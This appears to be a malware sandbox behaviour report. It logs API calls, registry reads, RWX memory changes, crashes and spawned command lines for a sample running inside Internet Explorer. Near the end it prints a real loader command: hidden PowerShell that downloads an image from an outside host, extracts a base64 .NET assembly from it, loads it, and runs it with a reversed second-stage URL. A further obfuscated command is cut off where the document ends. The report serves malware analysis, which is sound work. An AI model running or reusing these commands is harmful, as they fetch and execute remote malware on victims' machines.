crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000002bc3d30
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000002bc3d30
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000002bc4970
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000002bc4970
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000002bc4970
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000002bc4970
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000002bc4970
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000002bc4970
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000002bc4970
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000002bc4970
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000002bc4c80
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000002bc4c80
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000002bc4c80
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000002b94740
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000002b94740
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000002b93ef0
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000002b93ef0
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000002bae680
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000002bae680
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000002bae680
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000002beeed0
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000002beeed0
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000002beeed0
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000002beeed0
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000002bef870
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000002bef870
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x000000000038a190
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x000000001b4f9ca0
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x000000001b4f9ca0
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x000000001b4f9ca0
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x000000001b50d1d0
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x000000001b50d1d0
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x000000001b50d2b0
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x000000001b50d2b0
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x000000001b50d2b0
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x000000001b50d2b0
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0
registry HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\MachineGuid
Time & API Arguments Status Return Repeated

GlobalMemoryStatusEx

 1 1 0
Time & API Arguments Status Return Repeated

__exception__

 stacktrace: 
RaiseException+0x3d FreeEnvironmentStringsW-0x373 kernelbase+0xa49d @ 0x7fefda5a49d
RpcRaiseException+0x53 RpcExceptionFilter-0x2bd rpcrt4+0x173c3 @ 0x7fefddc73c3
ObjectStublessClient32+0x8bf CoDisconnectContext-0x107b9 ole32+0x443bf @ 0x7fefe0043bf
IUnknown_AddRef_Proxy+0x1f5 NdrFixedArrayBufferSize-0xeb rpcrt4+0x35295 @ 0x7fefdde5295
I_RpcFreeBuffer+0x1b9 NdrRangeUnmarshall-0x5a7 rpcrt4+0x32799 @ 0x7fefdde2799
Ndr64AsyncServerCallAll+0xa9e Ndr64AsyncClientCall-0xf42 rpcrt4+0xdaf1e @ 0x7fefde8af1e
Ndr64AsyncServerCallAll+0x12ec Ndr64AsyncClientCall-0x6f4 rpcrt4+0xdb76c @ 0x7fefde8b76c
NdrStubCall3+0xc6 NdrOleAllocate-0x3ea rpcrt4+0x348d6 @ 0x7fefdde48d6
CoGetInstanceFromFile+0x4cd3 HACCEL_UserFree-0x70fd ole32+0x170883 @ 0x7fefe130883
CoGetInstanceFromFile+0x511d HACCEL_UserFree-0x6cb3 ole32+0x170ccd @ 0x7fefe130ccd
CoGetInstanceFromFile+0x5093 HACCEL_UserFree-0x6d3d ole32+0x170c43 @ 0x7fefe130c43
CoSetState+0x1450 DcomChannelSetHResult-0x34c ole32+0x2a4f0 @ 0x7fefdfea4f0
GetErrorInfo+0x599 ObjectStublessClient7-0xb1f ole32+0x3d551 @ 0x7fefdffd551
CoGetInstanceFromFile+0x78ce HACCEL_UserFree-0x4502 ole32+0x17347e @ 0x7fefe13347e
CoGetInstanceFromFile+0x567b HACCEL_UserFree-0x6755 ole32+0x17122b @ 0x7fefe13122b
CoGetInstanceFromFile+0x7992 HACCEL_UserFree-0x443e ole32+0x173542 @ 0x7fefe133542
GetErrorInfo+0x475 ObjectStublessClient7-0xc43 ole32+0x3d42d @ 0x7fefdffd42d
GetErrorInfo+0x21e ObjectStublessClient7-0xe9a ole32+0x3d1d6 @ 0x7fefdffd1d6
TranslateMessageEx+0x2a1 IntersectRect-0x11f user32+0x19bd1 @ 0x76ba9bd1
TranslateMessage+0x1ea DispatchMessageW-0x42 user32+0x198da @ 0x76ba98da
GetErrorInfo+0xf3 ObjectStublessClient7-0xfc5 ole32+0x3d0ab @ 0x7fefdffd0ab
CoUnloadingWOW+0x117 OleCreateFromFileEx-0x1829 ole32+0x163e57 @ 0x7fefe123e57
ObjectStublessClient24+0x1876 CLSIDFromString-0x57a ole32+0x10106 @ 0x7fefdfd0106
ObjectStublessClient24+0x18f2 CLSIDFromString-0x4fe ole32+0x10182 @ 0x7fefdfd0182
BaseThreadInitThunk+0xd CreateThread-0x53 kernel32+0x1652d @ 0x7718652d
RtlUserThreadStart+0x21 strchr-0x3df ntdll+0x2c521 @ 0x772bc521

exception.instruction_r: 48 81 c4 c8 00 00 00 c3 48 85 f6 74 08 83 3b 00
exception.symbol: RaiseException+0x3d FreeEnvironmentStringsW-0x373 kernelbase+0xa49d
exception.instruction: add rsp, 0xc8
exception.module: KERNELBASE.dll
exception.exception_code: 0x80040155
exception.offset: 42141
exception.address: 0x7fefda5a49d
registers.r14: 0
registers.r15: 0
registers.rcx: 96919968
registers.rsi: 0
registers.r10: 0
registers.rbx: 0
registers.rsp: 96925920
registers.r11: 96921728
registers.r8: 0
registers.r9: 0
registers.rdx: 1
registers.r12: 0
registers.rbp: 0
registers.rdi: 0
registers.rax: 1929081835
registers.r13: 0
1 0 0
request GET http://ie9cvlist.ie.microsoft.com/IE9CompatViewList.xml
request GET http://apps.identrust.com/roots/dstrootcax3.p7c
Time & API Arguments Status Return Repeated

NtAllocateVirtualMemory

 process_identifier: 204
region_size: 4722688
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000002c70000
allocation_type: 8192 (MEM_RESERVE)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 204
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00000000030f0000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 204
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000076c01000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 204
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000076c01000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 204
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000076c01000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 204
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000076c01000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 204
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000076c01000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 204
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000076c01000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 204
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000076bad000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 204
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000076bd2000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 204
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000076bb4000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 204
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000076bd2000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 204
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fefc1d5000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 204
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fefc1d5000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 204
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fefdc44000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 204
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fefdad1000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 204
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000076b9a000
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 204
region_size: 65536
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00000000030c0000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 204
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fefa1b7000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 204
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef69c9000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 204
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007feecaf9000
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2252
region_size: 16453632
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000003200000
allocation_type: 8192 (MEM_RESERVE)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2252
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00000000041b0000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2252
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000076c01000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2252
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000076c01000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2252
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000076c01000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2252
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000076c01000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2252
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000076c01000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2252
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000076c01000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2252
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000076bad000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2252
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000076bd2000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2252
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000076bb4000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2252
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000076bd2000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2252
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fefc1d5000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2252
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fefc1d5000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2252
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fefdc44000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2252
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fefdad1000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2252
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000076b9a000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2252
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000076b9f000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2252
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000076b9d000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2252
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000076b9b000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2252
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000077186000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2252
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00000000772d6000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2252
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000077181000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2252
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000076ba0000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2252
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000076b9a000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2252
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00000000772af000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2252
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00000000772bb000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2252
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fefe117000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2252
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fefdbe4000
process_handle: 0xffffffffffffffff
1 0 0
Application Crash Process iexplore.exe with pid 204 crashed
Time & API Arguments Status Return Repeated

__exception__

 stacktrace: 
RaiseException+0x3d FreeEnvironmentStringsW-0x373 kernelbase+0xa49d @ 0x7fefda5a49d
RpcRaiseException+0x53 RpcExceptionFilter-0x2bd rpcrt4+0x173c3 @ 0x7fefddc73c3
ObjectStublessClient32+0x8bf CoDisconnectContext-0x107b9 ole32+0x443bf @ 0x7fefe0043bf
IUnknown_AddRef_Proxy+0x1f5 NdrFixedArrayBufferSize-0xeb rpcrt4+0x35295 @ 0x7fefdde5295
I_RpcFreeBuffer+0x1b9 NdrRangeUnmarshall-0x5a7 rpcrt4+0x32799 @ 0x7fefdde2799
Ndr64AsyncServerCallAll+0xa9e Ndr64AsyncClientCall-0xf42 rpcrt4+0xdaf1e @ 0x7fefde8af1e
Ndr64AsyncServerCallAll+0x12ec Ndr64AsyncClientCall-0x6f4 rpcrt4+0xdb76c @ 0x7fefde8b76c
NdrStubCall3+0xc6 NdrOleAllocate-0x3ea rpcrt4+0x348d6 @ 0x7fefdde48d6
CoGetInstanceFromFile+0x4cd3 HACCEL_UserFree-0x70fd ole32+0x170883 @ 0x7fefe130883
CoGetInstanceFromFile+0x511d HACCEL_UserFree-0x6cb3 ole32+0x170ccd @ 0x7fefe130ccd
CoGetInstanceFromFile+0x5093 HACCEL_UserFree-0x6d3d ole32+0x170c43 @ 0x7fefe130c43
CoSetState+0x1450 DcomChannelSetHResult-0x34c ole32+0x2a4f0 @ 0x7fefdfea4f0
GetErrorInfo+0x599 ObjectStublessClient7-0xb1f ole32+0x3d551 @ 0x7fefdffd551
CoGetInstanceFromFile+0x78ce HACCEL_UserFree-0x4502 ole32+0x17347e @ 0x7fefe13347e
CoGetInstanceFromFile+0x567b HACCEL_UserFree-0x6755 ole32+0x17122b @ 0x7fefe13122b
CoGetInstanceFromFile+0x7992 HACCEL_UserFree-0x443e ole32+0x173542 @ 0x7fefe133542
GetErrorInfo+0x475 ObjectStublessClient7-0xc43 ole32+0x3d42d @ 0x7fefdffd42d
GetErrorInfo+0x21e ObjectStublessClient7-0xe9a ole32+0x3d1d6 @ 0x7fefdffd1d6
TranslateMessageEx+0x2a1 IntersectRect-0x11f user32+0x19bd1 @ 0x76ba9bd1
TranslateMessage+0x1ea DispatchMessageW-0x42 user32+0x198da @ 0x76ba98da
GetErrorInfo+0xf3 ObjectStublessClient7-0xfc5 ole32+0x3d0ab @ 0x7fefdffd0ab
CoUnloadingWOW+0x117 OleCreateFromFileEx-0x1829 ole32+0x163e57 @ 0x7fefe123e57
ObjectStublessClient24+0x1876 CLSIDFromString-0x57a ole32+0x10106 @ 0x7fefdfd0106
ObjectStublessClient24+0x18f2 CLSIDFromString-0x4fe ole32+0x10182 @ 0x7fefdfd0182
BaseThreadInitThunk+0xd CreateThread-0x53 kernel32+0x1652d @ 0x7718652d
RtlUserThreadStart+0x21 strchr-0x3df ntdll+0x2c521 @ 0x772bc521

exception.instruction_r: 48 81 c4 c8 00 00 00 c3 48 85 f6 74 08 83 3b 00
exception.symbol: RaiseException+0x3d FreeEnvironmentStringsW-0x373 kernelbase+0xa49d
exception.instruction: add rsp, 0xc8
exception.module: KERNELBASE.dll
exception.exception_code: 0x80040155
exception.offset: 42141
exception.address: 0x7fefda5a49d
registers.r14: 0
registers.r15: 0
registers.rcx: 96919968
registers.rsi: 0
registers.r10: 0
registers.rbx: 0
registers.rsp: 96925920
registers.r11: 96921728
registers.r8: 0
registers.r9: 0
registers.rdx: 1
registers.r12: 0
registers.rbp: 0
registers.rdi: 0
registers.rax: 1929081835
registers.r13: 0
1 0 0
file C:\Users\test22\Desktop\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk
cmdline "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypss -NoProfile -command "$imageUrl = 'https://uploaddeimagens.com.br/images/004/597/236/original/rump_privada.jpg?1693847070';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method = $type.GetMethod('VAI');$arguments = ,('txt.444463sabssssovitka2amapa/65.72.412.59//:ptth');$method.Invoke($null, $arguments)"
cmdline "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'JChr(63)&Chr(63)BpChr(63)&Chr(63)G0Chr(63)&Chr(63)YQBnChr(63)&Chr(63)GUChr(63)&Chr(63)VQByChr(63)&Chr(63)GwChr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)9Chr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)JwBoChr(63)&Chr(63)HQChr(63)&Chr(63)dChr(63)&Chr(63)BwChr(63)&Chr(63)HMChr(63)&Chr(63)OgChr(63)&Chr(63)vChr(63)&Chr(63)C8Chr(63)&Chr(63)dQBwChr(63)&Chr(63)GwChr(63)&Chr(63)bwBhChr(63)&Chr(63)GQChr(63)&Chr(63)ZChr(63)&Chr(63)BlChr(63)&Chr(63)GkChr(63)&Chr(63)bQBhChr(63)&Chr(63)GcChr(63)&Chr(63)ZQBuChr(63)&Chr(63)HMChr(63)&Chr(63)LgBjChr(63)&Chr(63)G8Chr(63)&Chr(63)bQChr(63)&Chr(63)uChr(63)&Chr(63)GIChr(63)&Chr(63)cgChr(63)&Chr(63)vChr(63)&Chr(63)GkChr(63)&Chr(63)bQBhChr(63)&Chr(63)GcChr(63)&Chr(63)ZQBzChr(63)&Chr(63)C8Chr(63)&Chr(63)MChr(63)&Chr(63)Chr(63)&Chr(63)wChr(63)&Chr(63)DQChr(63)&Chr(63)LwChr(63)&Chr(63)1Chr(63)&Chr(63)DkChr(63)&Chr(63)NwChr(63)&Chr(63)vChr(63)&Chr(63)DIChr(63)&Chr(63)MwChr(63)&Chr(63)2Chr(63)&Chr(63)C8Chr(63)&Chr(63)bwByChr(63)&Chr(63)GkChr(63)&Chr(63)ZwBpChr(63)&Chr(63)G4Chr(63)&Chr(63)YQBsChr(63)&Chr(63)C8Chr(63)&Chr(63)cgB